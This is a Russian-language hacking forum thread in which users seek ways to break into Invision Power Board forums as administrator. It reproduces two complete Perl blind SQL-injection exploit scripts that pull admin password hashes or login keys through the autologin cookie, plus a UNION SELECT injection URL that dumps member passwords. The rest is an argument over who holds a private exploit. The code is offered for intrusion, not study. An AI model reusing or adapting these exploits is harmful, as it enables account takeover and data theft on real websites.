• XSS.stack #1 – первый литературный журнал от юзеров форума

Уязвимости: Invision Power Board (IPB)

В общем сплойт почему-то ПОКА не работает на IPB v.2.0.1.Пишет типа не может MD5 получить.Хотя одним из эксплойтов(который работает до 2.4) получил пасс_хэш, и заменив свой хэш на его попал в форум под админом. Возникает вопрос : как попасть в админцентр не имея сессии и пароля админа(или залить шелл, можно конечно брутом но….вобщем поняли)?Также не могли бы вы мне помочь найти эксплойт или объяснить какую-нить багу под IPB v1.3 final(Очень срочно нужно – дело которое касается моей жизни :cry2: ).Нашел вот один, но – защита стоит от кидисов(помогите чем-нить, дайте хоть совет, дальше сам попытаюсь )
Код:
#!/usr/bin/perl 

## Invision Power Board SQL injection exploit by RST/GHC 
## vulnerable forum versions : 1.* , 2.* (<2.0.4) 
## tested on version 1.3 Final and version 2.0.2 
## * work on all mysql versions 
## * work with magic_quotes On (use %2527 for bypass magic_quotes_gpc = On) 
## ©oded by 1dt.w0lf 
## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 
## screen: 
## ~~~~~~~ 
## r57ipb2.pl blah.com /ipb13/ 1 0 
## [~] SERVER : blah.com 
## [~] PATH : /ipb13/ 
## [~] MEMBER ID : 1 
## [~] TARGET : 0 - IPB 1.* 
## [~] SEARCHING PASSWORD ... [ DONE ] 
## 
## MEMBER ID : 1 
## PASSWORD : 5f4dcc3b5aa765d61d8327deb882cf99 
## 
## r57ipb2.pl blah.com /ipb202/ 1 1 
## [~] SERVER : blah.com 
## [~] PATH : /ipb202/ 
## [~] MEMBER ID : 1 
## [~] TARGET : 1 - IPB 2.* 
## [~] SEARCHING PASSWORD ... [ DONE ] 
## 
## MEMBER ID : 1 
## MEMBER_LOGIN_KEY : f14c54ff6915dfe3827c08f47617219d 
## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 
## Greets: James Bercegay of the GulfTech Security Research Team 
## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 
## Credits: RST/GHC , http://rst.void.ru , http://ghc.ru 
## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 

use IO::Socket; 

if (@ARGV < 4) { &usage; } 

$server = $ARGV[0]; 
$path = $ARGV[1]; 
$member_id = $ARGV[2]; 
$target = $ARGV[3]; 

$pass = ($target)?('member_login_key')(IMG:style_emoticons/default/sad.gif)'password'); 

$server =~ s!(http://)!!; 

$request = 'http://'; 
$request .= $server; 
$request .= $path; 

$s_num = 1; 
$|++; 
$n = 0; 

print "[~] SERVER : $serverrn"; 
print "[~] PATH : $pathrn"; 
print "[~] MEMBER ID : $member_idrn"; 
print "[~] TARGET : $target"; 
print (($target)?(' - IPB 2.*')(IMG:style_emoticons/default/sad.gif)' - IPB 1.*')); 
print "rn"; 
print "[~] SEARCHING PASSWORD ... [|]"; 

($cmember_id = $member_id) =~ s/(.)/"%".uc(sprintf("%2.2x",ord($1)))/eg; 

while(1) 
{ 
if(&found(47,58)==0) { &found(96,122); } 
$char = $i; 
if ($char=="0") 
{ 
if(length($allchar) > 0){ 
print qq{bb DONE ] 

MEMBER ID : $member_id 
}; 
print (($target)?('MEMBER_LOGIN_KEY : ')(IMG:style_emoticons/default/sad.gif)'PASSWORD : ')); 
print $allchar."rn"; 
} 
else 
{ 
print "bb FAILED ]"; 
} 
exit(); 
} 
else 
{ 
 $allchar .= chr($char);

} 
$s_num++; 
} 

sub found($$) 
{ 
my $fmin = $_[0]; 
my $fmax = $_[1]; 
if (($fmax-$fmin)<5) { $i=crack($fmin,$fmax); return $i; } 

$r = int($fmax - ($fmax-$fmin)/2); 
$check = " BETWEEN $r AND $fmax"; 
if ( &check($check) ) { &found($r,$fmax); } 
else { &found($fmin,$r); } 
} 

sub crack($$) 
{ 
my $cmin = $_[0]; 
my $cmax = $_[1]; 
$i = $cmin; 
while ($i<$cmax) 
{ 
$crcheck = "=$i"; 
if ( &check($crcheck) ) { return $i; } 
$i++; 
} 
$i = 0; 
return $i; 
} 

sub check($) 
{ 
$n++; 
status(); 
$ccheck = $_[0]; 
$pass_hash1 = "%36%36%36%2527%20%4F%52%20%28%69%64%3D"; 
$pass_hash2 = "%20%41%4E%44%20%61%73%63%69%69%28%73%75%62%73%74%72%69%6E%67%28"; 
$pass_hash3 = $pass.",".$s_num.",1))".$ccheck.") /*"; 
$pass_hash3 =~ s/(.)/"%".uc(sprintf("%2.2x",ord($1)))/eg; 
$nmalykh = "%20%EC%E0%EB%FB%F5%20%2D%20%EF%E8%E4%E0%F0%E0%F1%21%20"; 
$socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$server", PeerPort => "80"); 

printf $socket ("GET %sindex.php?act=Login&CODE=autologin HTTP/1.0nHost: %snAccept: */*nCookie: member_id=%s; pass_hash=%s%s%s%s%snConnection: closenn", 
$path,$server,$cmember_id,$pass_hash1,$cmember_id,$pass_hash2,$pass_hash3,$nmaly
kh); 

while(<$socket>) 
{ 
if (/Set-Cookie: session_id=0;/) { return 1; } 
} 

return 0; 
} 

sub status() 
{ 
$status = $n % 5; 
if($status==0){ print "bb/]"; } 
if($status==1){ print "bb-]"; } 
if($status==2){ print "bb]"; } 
if($status==3){ print "bb|]"; } 
} 

sub usage() 
{ 
print q( 
Invision Power Board v < 2.0.4 SQL injection exploit 
---------------------------------------------------- 
USAGE: 
~~~~~~ 
r57ipb2.pl [server] [/folder/] [member_id] [target] 

[server] - host where IPB installed 
[/folder/] - folder where IPB installed 
[member_id] - user id for brute 

targets: 
0 - IPB 1.* 
1 - IPB 2.* (Prior To 2.0.4) 

e.g. r57ipb2.pl 127.0.0.1 /IPB/ 1 1 
---------------------------------------------------- 
©oded by 1dt.w0lf 
RST/GHC , http://losena.ru , http://muonline.losena.ru 
); 
exit(); 
}
 
Код:
#!/usr/bin/perl -w 
################################################################## 
# This one actually works :) Just paste the outputted cookie into 
# your request header using livehttpheaders or something and you 
# will probably be logged in as that user. No need to decrypt it! 
# Exploit coded by "ReMuSOMeGa & Nova" and http://www.h4cky0u.org 
################################################################## 
 
use LWP::UserAgent; 
 
   $ua = new LWP::UserAgent; 
   $ua->agent("Mosiac 1.0" . $ua->agent); 
 
if (!$ARGV[0]) {$ARGV[0] = '';} 
if (!$ARGV[3]) {$ARGV[3] = '';} 
 
my $path = $ARGV[0] . '/index.php?act=Login&CODE=autologin'; 
my $user = $ARGV[1];   # userid to jack 
my $iver = $ARGV[2];   # version 1 or 2 
my $cpre = $ARGV[3];   # cookie prefix 
my $dbug = $ARGV[4];   # debug? 
 
if (!$ARGV[2]) 
{ 
        print "..By ReMuSoMeGa & Nova. Usage: ipb.pl http://forums.site.org [id] [ver 
1/2].\n\n"; 
        exit; 
} 
 
my @charset = ("0","1","2","3","4","5","6","7","8","9","a","b","c","d","e","f"); 
 
my $outputs = ''; 
 
for( $i=1; $i < 33; $i++ ) 
{ 
        for( $j=0; $j < 16; $j++ ) 
        { 
                my $current = $charset[$j]; 
            my $sql = ( $iver < 2 ) ?  
"99%2527+OR+(id%3d$user+AND+MID(password,$i,1)%3d%2527$current%2527)/*" : 
"99%2527+OR+(id%3d$user+AND+MID(member_login_key,$i,1)%3d%2527$current%2
527)/*"; 
                my @cookie = ('Cookie' => $cpre . "member_id=31337420; " . $cpre . 
"pass_hash=" . $sql); 
                my $res = $ua->get($path, @cookie); 
 
                # If we get a valid sql request then this 
                # does not appear anywhere in the sources 
                $pattern = '<title>(.*)Log In(.*)</title>'; 
 
                $_ = $res->content; 
 
                if ($dbug) { print }; 
 
                if ( !(/$pattern/) ) 
                { 
                        $outputs .= $current; 
                        print "$current\n"; 
                    last; 
                } 
 
        } 
  if ( length($outputs) < 1 )   { print "Not Exploitable!\n"; exit;     } 
} 
print "Cookie: " . $cpre . "member_id=" . $user . ";" . $cpre . "pass_hash=" . $outputs; 
exit;

Нашел вот один, но – защита стоит от кидисов(помогите чем-нить, дайте хоть совет, дальше сам попытаюсь )
я то в перле не очень. и тем более больше 140 строк перечитывать .
когда он уже не актуален .. был у меня src , но где он сейчас хз
вот SQL-inj
Код:
index.php?act=portal&site=-9+UNION+SELECT+password,0,0+FROM+ibf_members+Where +id=2/*
 
"Будем искать" :D
А вообще появился вопрос к сплойту от RST (r57ipbce)
Нашел в исходнике, что там создается тема со словами r57hohoeval и тд.
Обязательно ли это для работы эксплойта?
 
Чисто под 2.1.7 - нет. Есть под галерею, работает на всех версиях. Юзаем поиск по форуму.
 
WhiteJordan

Джордан, слушай, я конечно понимаю, что ты круче гор и все такое, но тем не менее, зачем эти понты?

Хочешь показать что ты умный? Кидай эксплойт, заценим со спасибом... :)

Не хочешь этого делать? Не делай, хозяин-барин... Но тогда и не рассказывай, как это у тебя круто написано - проверить тебя мы не можем, соответственно еще больше расползается твоя репутация, как пустослова... :)

Я не думаю, что ты в этом заинтересован... :)
 
Лол, если Я его выложу, как Я буду ломать 2.* ветки и 2.1.7? Просто говорю что есть, потому что все говорят что ни у кого нету.


А так Я не говорил для чего нибудь еще типа попугать, попонтоватся, чтобы "заценили" (Как будто мне нужна чья то "заценка" лол) и все такое
 
WhiteJordan
С такими раскладами у меня есть супер-мега-код. Он ломает все, даже серваки Пентагона. Но вам я его не скажу, потому что как же я тогда все ломать буду?
Я вообще сожалею что сказал
Иногда "лучше жевать, чем говорить"
 
Какие то нелепые наезды

С такими раскладами у меня есть супер-мега-код. Он ломает все, даже серваки Пентагона. Но вам я его не скажу, потому что как же я тогда все ломать буду?

Это теоретически возможно,но практически факт существования такого кода 0,01%

WJ же сказал что у него есть сплоит и то что факт существования такого сплоита существенен,мы не можем твердо утвержтать врет он или нет.Вам то какая разница ?
 
gemaglabin
Хм... Это не наезд... Он сказал, что у него есть сплоит, а я сказал, что у меня есть супер-мега-ключ. И ни я, ни WJ, конечно же не станем никому ничего доказывать. Все знают, что у нас сплоиты/мегаключи есть, ну а мы их имеем (сплоиты и мегаключи соответственно). И уж конечно никто из нас не врет. Так что наезда я тут вообще не вижу.
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх